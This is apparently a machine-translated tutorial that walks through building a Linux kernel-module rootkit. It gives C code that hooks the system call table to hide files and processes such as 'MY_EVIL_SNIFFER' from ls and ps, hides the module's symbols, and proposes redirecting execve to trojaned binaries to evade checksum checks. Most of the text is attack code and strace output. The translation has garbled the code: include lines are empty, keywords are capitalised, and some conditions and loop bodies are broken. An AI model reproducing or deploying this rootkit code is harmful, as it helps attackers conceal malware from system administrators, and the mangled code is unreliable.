This program has already been made, in fact, you can write a script, combined with existing LKM to hide the process, but I want to rewrite the program, do it into LKM, which is a C file, the implementation function is as follows:
1, hide the core symbolic link table
The general LKM program can be marked in the symbolic link table, so it is also easy to be discovered by the administrator. First we can do not take the symbol export, and implement it by the following routine:
Register_symtab (null);
Insert into the init_module () function block
Second, we can intercept the symbolic link:
#define module
#define __kernel__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/ * Get the function of export * /
Extern Int * pingbackdoor;
/ * A system symbol we have a system symbol such as FireWall * /
INT new_call_in_firewall ()
{
Return 0;
}
INT init_module (void)
{
pingbackdoor = new_call_in_firewall;
Return 0;
}
Void cleanup_module (void)
{
}
The first is feasible in my program.
2, hidden file itself
Oh, in fact, this program is compiled. It usually needs to be stored in disk, so it is possible to find it, no matter what you get it .. The directory is also found, I can also solve it by two ways, a comparison Simple, a hidden hidden!
Ok, see the first routine, how do I know what system calls I have used by intercepting the system calls of the ls command? Thank you, there is a Strace tool in Linux, and there is Truss tool in Solaris, huh, huh, look at my Strace LS results:
[Hello! Root] # strace ls
Execve ("/ bin / ls", ["ls"], [/ * 19 vars * /]) = 0
BRK (0)
Old_mmap (NULL, 4096, Prot_read | Prot_Write, Map_Private | map_anonymous, -1, 0) = 0
X40014000
Open ("/ etc / ld.so.preload", o_rdonly) = -1 Enoent (No Such File or Directory)
Open ("/ etc / ld.so.cache", o_rdonly) = 3
FSTAT (3, {ST_MODE = S_IFREG | 0644, ST_SIZE = 12625, ...} = 0OLD_MMAP (NULL, 12625, Prot_read, Map_Private, 3, 0) = 0x40015000
CLOSE (3)
Open ("/ lib / libtermcap.so.2", o_rdonly)
FSTAT (3, {ST_MODE = S_IFREG | 0755, ST_SIZE = 12224, ...}) = 0
READ (3, "/ 177ELF / 1/1/1/0/0/0/0/0/0/0/0/0/3/0/3/0/1/0/0/0000/16 / 0 "..., 4096) = 40
96
Old_mmap (NULL, 15304, Prot_read | Prot_exec, Map_Private, 3, 0) = 0x40019000
MPROTECT (0x4001c000, 3016, prot_none)
Old_mmap (0x4001C000, 4096, Prot_read | Prot_Write, Map_Private | map_fixed, 3, 0x200
0) = 0x4001C000
CLOSE (3)
Open ("/ lib / libc.so.6", o_rdonly) = 3
FSTAT (3, {ST_MODE = S_IFREG | 0755, ST_SIZE = 4101324, ...}) = 0
Read (3, "/ 177ELF / 1/1/1/0/0/0/0/0/0/0/0/0/3/0/3/0/1/0/0/0/210 / 212 "..., 4096) = 40
96
Old_mmap (null, 1001564, prot_read | prot_exec, map_private, 3, 0) = 0x4001d000
MProtect (0x4010A000, 30812, Prot_none)
Old_mmap (0x4010A000, 16384, Prot_read | Prot_Write, Map_Private | Map_Fixed, 3, 0xec
000) = 0x4010A000
Old_mmap (0x4010e000, 14428, prot_read | prot_write, map_private | map_fixed | map_anon
YMOUS, -1, 0) = 0x4010e000
CLOSE (3)
MPROTECT (0x4001d000, 970752, prot_read | prot_write) = 0
MProtect (0x4001d000, 970752, prot_read | prot_exec) = 0
MunMap (0x40015000, 12625)
Personality (per_linux)
= 9912
BRK (0)
BRK (0x8053640)
BRK (0x8054000)
Open ("/ usr / share / locale / locale.alias", o_rdonly) = 3
FSTAT64 (0x3, 0xBfffba44) = = -1 enosys (function not userned) fstat (3, {st_mode = s_ifreg | 0644, s_size = 2265, ...}) = 0
Old_mmap (NULL, 4096, Prot_read | Prot_Write, Map_Private | map_anonymous, -1, 0) = 0
X40015000
READ (3, "# locale name alias data base./n #" ..., 4096) = 2265
CLOSE (3)
Munmap (0x40015000, 4096)
Open ("/ usr / share / i18n / locale.alias", o_rdonly) = -1 Enoent (No Such File or Dire
CTORY)
Open ("/ usr / share / local / en_us / lc_messages", o_rdonly) = 3
FSTAT (3, {ST_MODE = S_IFDIR | 0755, ST_SIZE = 4096, ...}) = 0
CLOSE (3)
Open ("/ usr / share / locale / en_us / lc_messages / sys_lc_messages", o_rdonly) = 3
FSTAT (3, {ST_MODE = S_IFREG | 0644, ST_SIZE = 44, ...}) = 0
Old_mmap (Null, 44, Prot_read, Map_Private, 3, 0) = 0x40015000
CLOSE (3)
BRK (0x8055000)
Open ("/ usr / share / local / en_us / lc_monetary", o_rdonly) = 3
FSTAT (3, {ST_MODE = S_IFREG | 0644, ST_SIZE = 93, ...}) = 0
Old_mmap (Null, 93, Prot_read, Map_Private, 3, 0) = 0x40016000
CLOSE (3)
Open ("/ usr / share / locale / en_us / lc_collate", o_rdonly) = 3
FSTAT (3, {ST_MODE = S_IFREG | 0644, ST_SIZE = 29970, ...}) = 0
Old_mmap (Null, 29970, Prot_read, Map_Private, 3, 0) = 0x40112000
CLOSE (3)
Open ("/ usr / share / locale / en_us / lc_time", o_rdonly) = 3
FSTAT (3, {ST_MODE = S_IFREG | 0644, ST_SIZE = 508, ...}) = 0
Old_mmap (Null, 508, Prot_read, Map_Private, 3, 0) = 0x40017000
CLOSE (3)
Open ("/ usr / share / locale / en_us / lc_numeric", o_rdonly) = 3fstat (3, {ST_MODE = S_IFREG | 0644, ST_SIZE = 27, ...}) = 0
Old_mmap (Null, 27, Prot_read, Map_Private, 3, 0) = 0x40018000
CLOSE (3)
Open ("/ usr / share / locale / en_us / lc_cType", o_rdonly) = 3
FSTAT (3, {ST_MODE = S_IFREG | 0644, ST_SIZE = 87756, ...}) = 0
Old_mmap (null, 87756, prot_read, map_private, 3, 0) = 0x4011a000
CLOSE (3)
984434527
IOCTL (1, Tcgets, {B9600 OPOST ISIG ICANON ECHO ...}) = 0
IOCTL (1, Tiocwinsz, {WS_ROW = 42, WS_COL = 80, WS_XPIXEL = 0, WS_YPIXEL = 0}) = 0
BRK (0x8058000)
Open ("/ dev / null", o_rdonly | o_nonblock | o_directory = -1 Enotdir (Not a directory
)
Open (".", o_rdonly | o_nonblock | o_directory) = 3
FSTAT (3, {ST_MODE = S_IFDIR | 0700, ST_SIZE = 1024, ...}) = 0
FCNTL (3, f_setfd, fd_cloexec) = 0
BRK (0x805a000)
GetDents (3, / * 20 entries) * /, 3391) = 428
GetDents (3, / * 0 entries * /, 3391) = 0
CLOSE (3)
LSTAT ("/ usr", {ST_MODE = S_IFDIR | 0755, ST_SIZE = 4096, ...}) = 0
Lstat ("/ usr / lib", {s_mode = s_ifdir | 0755, st_size = 8192, ...}) = 0
LSTAT ("/ usr / lib / gconv", {ST_MODE = S_IFDIR | 0755, ST_SIZE = 4096, ...}) = 0
Open ("/ usr / lib / gconv / gconv-modules", o_rdonly) = 3
. . . . . . . . . . . .
There are many behind, but it is not important, and the first method we only need to intercepting the Calling of Getdents. Because the LS is called through this system call to obtain a list of files and directories. Good looking routine!
#define module
#define __kernel__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
EXTERN VOID * SYS_CALL_TABLE [];
Int (* Orig_getdents) (UINT, STRUCT DIRENT *, UINT);
INT HACKED_GETDENTS (Unsigned Int FD, Struct Dirent * DIRP, UNSIGNED INT COUNT)
{
Unsigned int TMP, N;
INT T, PROC = 0;
Struct inode * Dinode;
Struct Dirent * DIRP2, * DIRP3;
Char hide [] = "OURTOOL"; / * We have to hide the file * /
/ * Call the original GETDENTS -> Save the results in TMP * /
TMP = (* Orig_getdents) (FD, DIRP, COUNT);
/ * Operation of disk buffer * /
/ * This check is necessary, because if there is a getDents called and save the buffer ... * /
#ifdef __linux_dcache_h
DINODE = CURRENT-> Files-> FD [fd] -> f_dentry-> d_inode;
#ELSE
DINODE = CURRENT-> Files-> FD [FD] -> f_inode;
#ENDIF
/ * DINODE is the index node of the required directory * /
IF (TMP> 0)
{
DIRP2 is a new Dirent structure * /
DIRP2 = (Struct Dirent *) Kmalloc (TMP, GFP_kernel);
MeMCPY_FROMFS (DIRP2, DIRP, TMP);
* Point DIRP3 to Dirp2 * /
DIRP3 = DIRP2;
T = TMP;
WHILE (T> 0)
n = DIRP3-> D_Reclen;
T - = n;
* Check if the current file name is the name we want to hide * /
= NULL?
* If necessary, modify the Dirent structure * /
IF (t! = 0)
Memmove (Dirp3, (char *) DIRP3 DIRP3-> D_Reclen, T);
Else
DIRP3-> D_OFF = 1024;
TMP - = N;
}
dirp3-> d_reclen == 0)
/ *
* Workaround for Some Shitty Fs Drivers That Do Not Properly
* Feature the getdents syscall.
* /
TMP - = T;
}
t! = 0) DIRP3 = (struct Dirent *) ((char *) DIRP3 DIRP3-> D_Reclen);
}
Memcpy_TOFS (DIRP, DIRP2, TMP);
Free (Dirp2);
}
Return TMP;
}
INT init_module (void)
{
Orig_getdents = sys_call_table [sys_getdents];
SYS_CALL_TABLE [SYS_GETDENTS] = HACKED_GETDENTS;
Return 0;
}
Void cleanup_module (void)
{
SYS_CALL_TABLE [SYS_GETDENTS] = ORIG_GETDENTS;
}
However, this method system administrator can still see my program through commands such as Cat XXX, as long as the program name is not too ordinary, the general administrator will not find.
Ok, let's see the second hidden method, deeply hidden!
The method is to intercept the Open call and check if the file name is my program name. If so, then any Open is trying, so Read / Write is not possible, see routines:
Define Module
#define __kernel__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
EXTERN VOID * SYS_CALL_TABLE [];
INT (* Orig_open) (const char * pathname, int flag, mode_t mode);
INT HACKED_OPEN (Const Char * Pathname, INT FLAG, MODE_T MODE)
{
CHAR * KERNEL_PATHNAME;
Char hide [] = "ottool";
/ * this is old stuff -> Transfer to kernel space * /
Kernel_pathname = (char *) Kmalloc (256, gfp_kernel);
Memcpy_fromfs (kernel_pathname, pathname, 255);
IF (strstr (kernel_pathname, (char *) & hide)! = null)
{
Free (kernel_pathname);
?
Return -Enoent;
}
Else
{
Free (kernel_pathname);
* /
Return Orig_open (Pathname, Flag, Mode);
}
}
INT init_module (void)
{
Orig_open = SYS_CALL_TABLE [SYS_OPEN];
SYS_CALL_TABLE [SYS_OPEN] = HACKED_OPEN;
Return 0;
}
Void cleanup_module (void)
{
SYS_CALL_TABLE [SYS_OPEN] = Orig_open;
}
Ok, too long, the following hidden process and the hidden network connection part will decompose, huh, huh
Ok, we look at the hidden, in fact, the truth and the front, let's take a look at what system calls I used so that we will intercepted it.
[Hello! E4GLE] # strace ps
...........
Open ("/ proc / 10284 / stat", o_rdonly) = 5
READ (5, "10284 (PS) R 10283 10283 10169 7" ..., 511) = 185
CLOSE (5)
Open ("/ proc / 10284 / statm", o_rdonly) = 5
READ (5, "115 115 96 5 0 110 19 / N", 511) = 22
CLOSE (5)
Open ("/ proc / 10284 / status", o_rdonly) = 5
READ (5, "Name: / TPS / NSTATE: / TR (Running) / NPID:" ..., 511) = 411
CLOSE (5)
IOCTL (1, Tiocwinsz, {WS_ROW = 42, WS_COL = 80, WS_XPIXEL = 0, WS_YPIXEL = 0}) = 0
Brk (0)
BRK (0x8162928) 0x8162928
BRK (0x8163000)
= = = = = = (
GetPid () 10284
Lseek (3, 0, seek_set)
READ (3, "169129.48 167700.41 / n", 1023)
= (null)
Open ("/ proc / meminfo", o_rdonly) = 5
...............
I intercepted a part, in fact, I can already explain the problem, very simple, the command like the PS is not directly to obtain the list of current processes (no system calls can accomplish this task) by PS. The strace of the command, you will find that it is a process information from the / proc directory. In / proc, you can find a lot of directories, their names are only composed of numbers (more strange;), those numbers are the PID of the process running, where you can find the process in these directories. Any information, so, the PS command is actually the LS of the / proc, and the process is related, it is put in / proc / pid, it is ok, now we have a way, PS must be from / Reading something in the Proc directory, so it is uses sys_getdents (...), we only need to find the process name from the PID, then put the comparison in the PID and / PROC, if we want to hide, just like front Like the hidden catalog, the two TASK functions and the Invisible function in the above program are only used to get the name of the PID in / proc, as for the file hidden, don't say more . Ok, I put it out of the realization routine for reference:
#define module
#define __kernel__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
EXTERN VOID * SYS_CALL_TABLE [];
/ * We want to hide the process name * /
Char mtroj [] = "MY_EVIL_SNIFFER";
INT (* Orig_getdents) (UNSIGNED INT FD, STRUCT DIRENT * DIRP, UNSIGNED INT COUNT);
/ * Convert String to a number * /
Int Myatoi (Char * STR)
{
INT RES = 0;
INT MUL = 1;
Char * PTR;
For (PTR = STR STRLEN (STR) - 1; PTR> = Str; PTR -) {
IF (* PTR <'0' || * Ptr> '9')
Return (-1);
Res = (* PTR - '0') * MUL;
Mul * = 10;
}
Return (RES);
}
/ * Structure of the task list from the PID * /
Struct Task_struct * get_task (PID_T PID)
{
Struct Task_struct * p = current;
Do {
IF (P-> PID == PID)
Return P;
P = P-> Next_task;}
While (p! = current);
Return NULL;
}
/ * Name of the process from the task list * /
Static inline char * task_name (struct task_struct * p, char * buf)
{
INT I;
Char * name;
Name = p-> comm;
i = sizeof (P-> COMM);
Do {
UNSIGNED CHAR C = * Name;
Name ;
I-;
* buf = C;
IF (! c)
IF (c == '//') {
b [1] = C;
buf = 2;
Cotinue;
}
IF (c == '/ n') {
buf = 2;
Cotinue;
}
BUF ;
}
While (i);
* BUF = '/ n';
Return BUF 1;
}
/ * Check if this process is the guy we want to hide * /
INT Invisible (PID_T PID)
{
Struct Task_struct * task = GET_TASK (PID);
Char * buffer;
IF (task) {
Buffer = kmalloc (200, gfp_kernel);
MEMSET (Buffer, 0, 200);
Task_name (Task, Buffer);
IF (strstr (buffer, (char *) & mtroj) {
Free (buffer);
Return 1;
}
}
Return 0;
}
/ * From the first article I just said, I have said it, huh, I don't have much. * /
INT HACKED_GETDENTS (Unsigned Int FD, Struct Dirent * DIRP, UNSIGNED INT COUNT)
{
Unsigned int TMP, N;
INT T, PROC = 0;
Struct inode * Dinode;
Struct Dirent * DIRP2, * DIRP3;
TMP = (* Orig_getdents) (FD, DIRP, COUNT);
#ifdef __linux_dcache_h
Dinode = current-> files-> fd [fd] -> f_dentry-> d_inode;
#ELSE
Dinode = current-> files-> fd [fd] -> f_inode;
#ENDIF
IF (Dinode-> i_ino == proc_root_ino &&! major (Dinode-> i_dev) && minor (dinode-> i_dev) == 1)
PROC = 1;
IF (TMP> 0) {
DIRP2 = (Struct Dirent *) Kmalloc (TMP, GFP_kernel);
Memcpy_Fromfs (DIRP2, DIRP, TMP);
DIRP3 = DIRP2;
T = TMP;
While (t> 0) {
DIRP3-> D_RECLEN;
T - = N;
IF ((Proc && Invisible)))) {i (t! = 0)
Memmove (Dirp3, (char *) DIRP3 DIRP3-> D_Reclen, T);
SE
DIRP3-> D_OFF = 1024;
TMP - = N;
}
Dirp3 = (Struct Dirent *) ((char *) DIRP3 DIRP3-> D_RECLEN);
}
Memcpy_TOFS (DIRP, DIRP2, TMP);
Kfree (DIRP2);
}
Return TMP;
}
INT init_module (void)
{
Orig_getdents = sys_call_table [sys_getdents];
SYS_CALL_TABLE [SYS_GETDENTS] = HACKED_GETDENTS;
Return 0;
}
Void cleanup_module (void)
{
Sys_CALL_TABLE [SYS_GETDENTS] = Orig_getdents;
}
In fact, I don't have much to say anything, it's duplicate labor, and the same hidden network connection We can intercept the NetStat command system call.
We can also intercept Sys_EXECVE to redirect system commands such as / bin / ps, / bin / ls, huh, in fact, and this article is two things, talk about it, that is, redirect / bin / ls to us LS Trojans or rootkit programs, this can escape Checksum's verification, because we have no replacement / bin / ls at all, huh, it can be done by this idea, you can make a lot of fun Trojan.